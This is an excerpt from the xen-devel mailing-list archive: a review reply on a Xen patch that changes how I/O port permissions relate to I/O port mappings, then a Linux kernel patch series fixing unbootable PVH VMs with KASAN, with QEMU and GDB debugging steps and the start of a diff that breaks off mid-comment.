List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784648199; x=1785252999; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=J8Ulj9iKOwSYXvE2EFhPHBzVqz4G9rJgFFMM9FKCwa8=;
        b=aJRoRj9yzgmMjrxGJKbAo2UR/nc2GFu9rkBcp9Gx/74y2Ny24nlgDjlbIYyDDynFDG
         fTTAUrUd2zVfieIe78TfpThML/52BSQYyPX74B884IZOvjHqRQrL1CIrwtWKoPy0hXLQ
         +N/V4Re9UaEZYHbE9FEzBYAOaF0G3cNqb8VJDIjH6qYk95ZtKcG7v+rmb5Jor82fPSsF
         kuKx/aI0jRCCN5EuJ7LEe3Ds2wPhvb8VEW/DFN9moH0rABn3qGFR1lqCq6DfsgXWnO+S
         ga3Crg/QAwfCW/gMPqTbE54PI8onxD0whasoR8arr6FltWdw5NKgDCMHxkRDRDAeiCva
         SeFg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784648199; x=1785252999;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=J8Ulj9iKOwSYXvE2EFhPHBzVqz4G9rJgFFMM9FKCwa8=;
        b=gyS94/tS4bE7w64wO8P7lNQbslBDbh421IGDOAW7gzR+3baPvS4TVyAf8607slm0A6
         YyPjGPGUwtCKK/xxCJBDdnfJYQozAOApCOcU5jMCiKhOaVyZWl/d/VsJCO+VBEkTNdZQ
         rqVTp4w4ZJMgIKqNmQ24LPYbAUCo3DG1IYPLDEtuzTSlty38JKFmBNj4+FJzDKsFj31e
         rU2VIk6Tp5PuuvX2Xmx3ZOr/FiWLMjGGmBprqj5jUlcf5AiWUaN1ZBQcAEuoXcfX1aaY
         09p0JLwdRvf7vV1pzr128MQL3f/j16cd2c/MxOsekFhvYvfMlYlawSiWgS6DuARNkPg6
         8nQg==
X-Forwarded-Encrypted: i=1; AHgh+Rp4J0Np3YpYV+n/CUSZhlawmH/twJhQNvunrYykKVJKua1EVJBy45GYXzEPuVYxTehAAuTnwKvBBgI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwroKF5EXl9MCt1/K2/D1OyPpweIRPlZsiKNkPOdWakz0Ch9Isj
	4vG18IxN4pTR26vBDfndO9cFTHx2h2raX0MpOHR1N7RE1aaPTr2c+k/Mvx0UiBFPUA==
X-Gm-Gg: AR+sD13sB8xEwTRpe/1yj/bySV07teG/VxhIE9JDqw3M6KJQea7kvbbPZo6yFXBuUIz
	SVPtcXYlF/3ZqV51o3IaqKyCKA+e7tMmM8H4zIkoXp4YjTOwuWRybKp6sj1JUaT4jAv3MvqJwyK
	TrPKQ+8zvV9VrmUFdt2riIXdTSBtaRc1BahPYon0AuylEmCMbr/LWx8W59UadZ9x2A74ZWkFuXa
	YQ5aXvqn5vGC8Ksd03zqciLwyx0Fq5UGPuu6cKjx9/cPjPap8mFwcULcgrP5cG9OVjV7TV77yCl
	PSVuCzAxrfQdazeHp/RoYiyrd582bpTfqHmLmq6bHLrRnYpFzTzSdl1WGzL652PDyMPRqLMTRqG
	Ny3/a7GPDTebbhCfY01gMltb/ukrqWmIPWm8AOcGv7awXAeKdNEltvESdi5QBH3s0lLl3y8hwRF
	4zB0KckYQrO/lMkhoY2pYE0GsHhWq9/OjFesP6G79dSlpD7xuyJ4QDJ5cipcAxZ0WacA==
X-Received: by 2002:a5d:5f88:0:b0:47f:8183:e9bf with SMTP id ffacd0b85a97d-47f8183eae2mr3630849f8f.23.1784648199061;
        Tue, 21 Jul 2026 08:36:39 -0700 (PDT)
Message-ID: <75581474-8ef4-48c4-8c19-fc0549730552@suse.com>
Date: Tue, 21 Jul 2026 17:36:37 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/2] x86/domctl: don't imply I/O port permissions from
 I/O port mapping
From: Jan Beulich <jbeulich@suse.com>
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <65f69026-f284-4cfd-b502-8d8955b412f5@suse.com>
 <724bd14c-ebba-4e29-be7c-012aa7aa82b2@suse.com>
 <al-G7l2IM736d-Q6@macbook.local>
 <05425d51-965f-4176-a297-c5e6f966d886@suse.com>
 <al-LGwlNXH5EfsAw@macbook.local>
 <5653aede-dbff-405d-9df7-2edb7d8180d1@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9X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NWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <5653aede-dbff-405d-9df7-2edb7d8180d1@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1784648199-1AAD89EA-36BE1DFA/0/0
X-purgate-type: clean
X-purgate-size: 2536

On 21.07.2026 17:34, Jan Beulich wrote:
> On 21.07.2026 17:07, Roger Pau MonnÃ© wrote:
>> On Tue, Jul 21, 2026 at 04:57:36PM +0200, Jan Beulich wrote:
>>> On 21.07.2026 16:49, Roger Pau MonnÃ© wrote:
>>>> On Tue, Jun 30, 2026 at 03:54:04PM +0200, Jan Beulich wrote:
>>>>> Rather than granting permissions when mapping (an operation that DM-s are
>>>>> allowed to carry out, while they can't invoke ioport-permission), check
>>>>> whether permissions actually were granted when adding a mapping. This then
>>>>> also allows relaxing the necessary locking.
>>>>>
>>>>> While no longer granting permissions upon mapping is "only" at risk of
>>>>> breaking guests, no longer revoking permissions upon unmapping strictly
>>>>> requires callers to additionally invoke XEN_DOMCTL_ioport_permission. Or
>>>>> else a security issue would arise. In-tree code already does so.
>>>>>
>>>>> While there switch to using %pd in the two log messages.
>>>>>
>>>>> Fixes: 192c4dabc344 ("domctl and p2m changes for PCI passthru")
>>>>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>>>>
>>>> It's difficult to not think about someone appearing in 3 or 4 years
>>>> complaining that this change in behavior has caused them a security
>>>> issue, but I do agree that the previous behavior was inconsistent at
>>>> best:
>>>
>>> A positive aspect here is that the similar change for MMIO went without
>>> any fallout, as far as I'm aware.
>>>
>>>> Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>
>>>
>>> Thanks, but ...
>>>
>>>> However you need to bump XEN_DOMCTL_INTERFACE_VERSION to note the ABI
>>>> change as we are in 4.23 now.
>>>
>>> ... there's no interface change here. A bump therefore won't buy us
>>> anything. I'm hesitant to take your ack as long as we disagree here.
>>
>> It's not an interface change, but it's a change in behavior of an
>> existing hypercall in a security-relevant way, so people would
>> generally need to be aware of it, just in case.
> 
> But the interface version bump won't necessarily make anyone aware. Things
> will continue to build as before, and there's also no binary incompatibility.
> The best way of making people aware is the ChangeLog entry that iirc you had
> asked for (and that's now there).

I should probably add that bumping the interface version now also wouldn't do
any harm; there's at least one other series pending which wants to do this
anyway in this starting release cycle. Yet I still think the bumping doesn't
quite belong here.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:57:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:57:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367906.1617563 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCq8-0003b8-9l; Tue, 21 Jul 2026 15:57:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367906.1617563; Tue, 21 Jul 2026 15:57:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCq8-0003az-4w; Tue, 21 Jul 2026 15:57:04 +0000
Received: by outflank-mailman (input) for mailman id 1367906;
 Tue, 21 Jul 2026 15:57:02 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wmCq6-0003Y5-Dq
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:57:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmCq5-00A8Sg-Qx
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 17:57:01 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96ae-5cb7-0a2a0a5109dd-0a2a450abbb0-46
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:01 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96cc-f2d2-0a2a450a0019-d561b338ecd8-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:00 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wmCpo-001fqi-SA; Tue, 21 Jul 2026 17:56:45 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Content-Transfer-Encoding:Content-Type:MIME-Version:
	Message-Id:Date:Subject:From:From:Reply-To;
	bh=Kl2ZRt4uFJRD6gl7KEc2GUbxOngYAjPcy2wcZt3n2dI=; b=OBahpqYJMe9cz/lruC7Ok2mnk5
	Ob6ov4e+9PQ/CiqOoZC8WEIu/O3LlTVOnq7gzDG4LJU6+CWulva96KWtZlfM2SJ9etOZ/a+k8MzIp
	e7/S84HTNE2zfIdmdo0eaSsTxngMJBPIrbGXjCKqpK/bINQz/OgwbNe3z/HCAlo3v6KsYHxnsJaHX
	nVumKrjfpW2mc1iVcslkjBBaTAx0AHaVPhJTctc/XzodIw4UvjDft3D5RWV6WyV8c/gkYd4hK9fDi
	UBaySbUY/ovV+sc0zG5c5KGPFkjF+zEjQn5ctsp8pps+7qFzYgQplqoYOuO40oLhpoZb/Kg7FwJPJ
	uSLA+Z7Q==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Subject: [PATCH v7 0/5] x86/pvh: fix unbootable VMs again (PVH + KASAN)
Date: Tue, 21 Jul 2026 12:56:41 -0300
Message-Id: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-B4-Tracking: v=1; b=H4sIALqWX2oC/33PwW6DMAwG4Fepcl6mxCR2s9PeY+rBBKdE66CCC
 XWqePeFXugE2vG35O+372qUIcuo3g53NciUx9x3JdDLQcWWu7Po3JSswAAaB6CvU6s/eeRO5+6
 SO9EoiSNRsjWQKmvXQVK+PciPU8ltHr/74efRMNll+g82WW00CdrgKudigPd85kvm19h/qUWb4
 FmgHQGKANFTfWxiSsgboVoFD2ZHqIpQSyOEIaJE2gjuWcAdwRWBK2sEGbzEZiP4VcBq7wZfBA+
 cYqBQy9FuBFwFMnZHwOULDsE43yQO6Y8wz/MvOF4RePsBAAA=
X-Change-ID: 20260422-pvh-kasan-inline-6efac77f1b27
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-4011c0/1784649421-4B2D8CFC-ED6C2CD9/0/0
X-purgate-type: clean
X-purgate-size: 7499

The issue of unbootable VMs with CONFIG_PVH due to CONFIG_KASAN is back.

Booting directly from vmlinux (instead of bzImage) now fails with gcc-14/15
(but works with gcc-12/13) if CONFIG_KASAN_GENERIC is set, on Ubuntu 25.10.

The PVH code is required/supposed not to use the KASAN memory access check
in the kernel entry point as KASAN has not yet been setup, or an exception
is hit and the boot fails.

This was previously described and addressed with __builtin_mem{cmp,set}():
- commit 661362e3dcab ("xen, pvh: fix unbootable VMs (PVH + KASAN - AMD_MEM_ENCRYPT)")
- commit 416a33c9afce ("x86/cpu: fix unbootable VMs by inlining memcmp() in hypervisor_cpuid_base()")
- commit fbe5a6dfe492 ("xen, pvh: fix unbootable VMs by inlining memset() in xen_prepare_pvh()")

However, even with __builtin the compiler may decide to use the out of line
function instead of the inline implementation. So, that does not really fix
the issue unconditionally; see details below.

In order to address this, it's required to switch to inline implementations
that do not depend on the compiler.

There's such a memset() in <asm/string.h> and memcmp() in 'boot/string.c'.
Use them instead of builtins in PVH entry.

Testing:

- Booting from vmlinux (fixed) and bzImage (still works) using
  allnoconfig + CONFIG_PVH + CONFIG_KASAN with gcc-12/13/14/15.

- Building with CONFIG_KEXEC_FILE, CONFIG_CFI and !CONFIG_KASAN with LLVM 20
  (check for a build error not caught previously).

Details/Debugging:

- Only CONFIG_PVH (works):

  make allnoconfig
  ./scripts/config \
    -e 64BIT -e HYPERVISOR_GUEST -e PVH \
    -e SERIAL_8250 -e SERIAL_8250_CONSOLE
  make olddefconfig
  make -j$(nproc) vmlinux

  qemu-system-x86_64 \
    -accel kvm -nodefaults -nographic -serial stdio \
    -kernel vmlinux -append 'console=ttyS0'
  ...
  SeaBIOS (version ...)
  Booting from ROM...
  Linux version ...
  ...
  <Ctrl-C>

- With CONFIG_KASAN (fails)

  ./scripts/config -e KASAN
  make olddefconfig
  make -j$(nproc) vmlinux

  qemu-system-x86_64 \
    -accel kvm -nodefaults -nographic -serial stdio \
    -kernel vmlinux -append 'console=ttyS0'
  ...
  SeaBIOS (version ...)
  Booting from ROM...
  <QEMU reboot loop, flashing the text above>

- Debugging:

  Enable debug info and rebuild.

  QEMU: enable and wait for GDB, stop rebooting, remain running.

  qemu-system-x86_64 \
    -s -S -no-reboot -no-shutdown \
    <other options>

  gdb vmlinux
  (gdb) target remote localhost:1234
  ...
  (gdb) c
  ...
  Thread 2 received signal SIGQUIT, Quit.
  ...
  (gdb) info threads
    Id   Target Id                    Frame
    1    Thread 1.1 (CPU#0 [running]) bytes_is_nonzero (
      start=0xfffffbfff031eebe <error: Cannot access memory at address 0xfffffbfff031eebe>, size=1)
      at .../linux/mm/kasan/generic.c:98
  * 2    Thread 1.2 (CPU#1 [halted ]) 0x00000000000fd0a9 in ?? ()
  ...
  (gdb) thr 1
  ...
  (gdb) bt
  #0  bytes_is_nonzero (start=0xfffffbfff031eebe <error: Cannot access memory at address 0xfffffbfff031eebe>, size=1)
      at .../linux/mm/kasan/generic.c:98
  #1  memory_is_nonzero (start=0xfffffbfff031eebe, end=0xfffffbfff031eebf) at .../linux/mm/kasan/generic.c:115
  #2  memory_is_poisoned_n (addr=0xffffffff818f75f0, size=8) at .../linux/mm/kasan/generic.c:140
  #3  memory_is_poisoned (addr=0xffffffff818f75f0, size=8) at .../linux/mm/kasan/generic.c:172
  #4  check_region_inline (addr=0xffffffff818f75f0, size=8, write=false, ret_ip=18446744071585002062)
      at .../linux/mm/kasan/generic.c:191
  #5  kasan_check_range (addr=addr@entry=0xffffffff818f75f0, size=size@entry=8, write=write@entry=false,
      ret_ip=18446744071585002062) at .../linux/mm/kasan/generic.c:200
  #6  0xffffffff813eb283 in __asan_loadN (addr=addr@entry=0xffffffff818f75f0, size=size@entry=8)
      at .../linux/mm/kasan/generic.c:278
  #7  0xffffffff815df24e in memcmp (cs=cs@entry=0xffffffff818f75f0, ct=ct@entry=0x1be2fe4, count=<optimized out>,
      count@entry=12) at .../linux/lib/string.c:683
  #8  0xffffffff81ba2323 in cpuid_base_hypervisor (sig=0xffffffff818f75f0 "XenVMMXenVMM", leaves=2)
      at .../linux/arch/x86/include/asm/cpuid/api.h:206
  #9  xen_cpuid_base () at .../linux/arch/x86/include/asm/xen/hypervisor.h:46
  #10 xen_prepare_pvh () at .../linux/arch/x86/platform/pvh/enlighten.c:119
  #11 0x0000000001ba2588 in ?? ()
  #12 0x0000000000000000 in ?? ()
  (gdb)

  Frames #7-#8 show the non-builtin memcmp() (lib/string.c) was called
  even with __builtin_memcmp() being used in cpuid_base_hypervisor().

Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
---
Changes in v7:
- Patch 2 (added):
  - Address pre-existing issues in 'asm' (Borislav Petkov, Sashiko).
- Link to v6: https://lore.kernel.org/r/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com

Changes in v6:
- Patch 1:
  - Explain the return value difference between __inline_memcmp() and memcmp().
- Patch 2 (added):
  - Group __inline string functions in <asm/shared/string.h>.
- Link to v5: https://lore.kernel.org/r/20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com

Changes in v5:
- Create a minimal separate header in <asm/shared/string.h> instead,
  to be used by 'boot/setup.c' and <asm/string.h> (Borislav Petkov).
- Patch 1 (in v4/v3) is no longer needed; removed.
- Patch 1 (in v5):
  - Briefly mention there are issues with <asm/string.h>.
  - Remove 'Reviewed-by: Jurgen Gross' to be conservative
    (same code change and result, but the means changed).
- Link to v4: https://lore.kernel.org/r/20260526-pvh-kasan-inline-v4-0-a310e6a25ecd@igalia.com

Changes in v4:
- Patch 1: address Juergen's feedback:
  - s/In next patch/In a future patch/.
  - Move footnote (Reasons not to include...) after "---".
- Add 'Reviewed-by: Juergen Gross' in patches 1 and 2 as well.
- Link to v3: https://lore.kernel.org/r/20260520-pvh-kasan-inline-v3-0-bede769c6ec7@igalia.com

Changes in v3:
- Create and use a separate header for inline string functions
  to fix a build error reported by kernel test robot (patch 1).
- That also removes '#ifndef _SETUP/#endif' in <asm/string.h>.
- Link to v2: https://lore.kernel.org/r/20260427-pvh-kasan-inline-v2-0-2c57b8dcff6a@igalia.com

Changes in v2:
- Add comment about the return value of __inline_memcmp() in patch 1. (v3: now 2)
- Add 'Reviewed-by: Juergen Gross' in patches 2 and 3 (v3: now 3 and 4).
- Link to v1: https://lore.kernel.org/r/20260422-pvh-kasan-inline-v1-0-7e6194344c92@igalia.com

---
Mauricio Faria de Oliveira (5):
      x86/asm, x86/boot: expose inline memcmp
      x86/asm: add volatile, clobbers and zero-length check in inline memcmp
      x86/asm: group inline string functions
      x86/cpuid: fix unbootable VMs by really inlining memcmp() in hypervisor_cpuid_base()
      x86/pvh: fix unbootable VMs by really inlining memset() in xen_prepare_pvh()

 arch/x86/boot/string.c               |  6 ++---
 arch/x86/include/asm/cpuid/api.h     |  2 +-
 arch/x86/include/asm/shared/string.h | 50 ++++++++++++++++++++++++++++++++++++
 arch/x86/include/asm/string.h        | 21 +--------------
 arch/x86/platform/pvh/enlighten.c    |  3 ++-
 5 files changed, 56 insertions(+), 26 deletions(-)
---
base-commit: 3fe08b9796f36ef437ab9328e7dd1e5ff2d66603
change-id: 20260422-pvh-kasan-inline-6efac77f1b27

Best regards,
-- 
Mauricio Faria de Oliveira <mfo@igalia.com>



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:57:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:57:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367905.1617558 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCq8-0003YO-0t; Tue, 21 Jul 2026 15:57:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367905.1617558; Tue, 21 Jul 2026 15:57:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCq7-0003YH-U0; Tue, 21 Jul 2026 15:57:03 +0000
Received: by outflank-mailman (input) for mailman id 1367905;
 Tue, 21 Jul 2026 15:57:02 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wmCq6-0003Y4-7h
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:57:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmCq5-00542f-9u
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 17:57:01 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96c5-e002-0a2a0a5209dd-0a2a4503c112-6
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:00 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96cb-fae8-0a2a45030019-d561b338a856-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:00 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wmCpt-001fqi-Eb; Tue, 21 Jul 2026 17:56:49 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:
	MIME-Version:Subject:Date:From:From:Reply-To;
	bh=Uipb51QFeEvi5TG6B4ZY+2g5b0lo7cvCdn79s0YKKcE=; b=hGk+yJ88jGjqL7iOLL1yEV/47c
	HP8E2r3TKSIVWPEtx/UpbVazkMudv3S1AqfGBfQ5FpwKcX7TdtVodfJV8fESYAsG3S6qGTfP5arV8
	hhbfhE4Jgab6WOru3Q2bd0RKHFvYf7DoWPJZXVHDbeTEoSpBY/nZy3XHYtdPGuif0SetsmW8XdnCM
	PXA8IkSEtKcouxoOjI5Ba7iALVBJuDRPIf1wDSF8gyNSkGx5RUkywpY7p1uB22OCq+LTPe252oniN
	olsqR2fqsgPtmekvmu3dOW57RqCs1s421QtgCdRETkkYIxzg8b3Z3LazmDyn53TK5S/oY+btreQgK
	poR6RwOA==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Tue, 21 Jul 2026 12:56:42 -0300
Subject: [PATCH v7 1/5] x86/asm, x86/boot: expose inline memcmp
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260721-pvh-kasan-inline-v7-1-38979a50cef0@igalia.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
In-Reply-To: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-33051d/1784649420-756834E9-562BC017/0/0
X-purgate-type: clean
X-purgate-size: 2184

Move the inline memcmp function currently only available in 'boot/string.c'
into the shared string function header <asm/shared/string.h> to be reused.

This is not done through <asm/string.h> to avoid pulling unnecessary code
in 'boot/string.c' that causes build errors in 'boot/compressed/string.c'
and 'purgatory/purgatory.ro'.

Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>

---

Thanks to David Laight for noticing the return value difference between
inline and regular memcmp().
---
 arch/x86/boot/string.c               |  6 ++----
 arch/x86/include/asm/shared/string.h | 20 ++++++++++++++++++++
 2 files changed, 22 insertions(+), 4 deletions(-)

diff --git a/arch/x86/boot/string.c b/arch/x86/boot/string.c
index ac0f900ebc47efa81c92e1bb2010ea41677899c4..be454a6864225f3a972c3e81826b77ed4e8a57fe 100644
--- a/arch/x86/boot/string.c
+++ b/arch/x86/boot/string.c
@@ -15,6 +15,7 @@
 #include <linux/errno.h>
 #include <linux/limits.h>
 #include <asm/asm.h>
+#include <asm/shared/string.h>
 #include "ctype.h"
 #include "string.h"
 
@@ -31,10 +32,7 @@
 
 int memcmp(const void *s1, const void *s2, size_t len)
 {
-	bool diff;
-	asm("repe cmpsb"
-	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
-	return diff;
+	return __inline_memcmp(s1, s2, len);
 }
 
 /*
diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
new file mode 100644
index 0000000000000000000000000000000000000000..02b92927553f7b8e1c87e6122bbaa70439e57ea7
--- /dev/null
+++ b/arch/x86/include/asm/shared/string.h
@@ -0,0 +1,20 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _ASM_X86_SHARED_STRING_H
+#define _ASM_X86_SHARED_STRING_H
+
+/*
+ * This inline memcmp() returns 0 (equal) or 1 (not equal).
+ * The regular memcmp() returns <0 (less than), 0 (equal), or >0 (greater than)
+ * to indicate ordering as well.
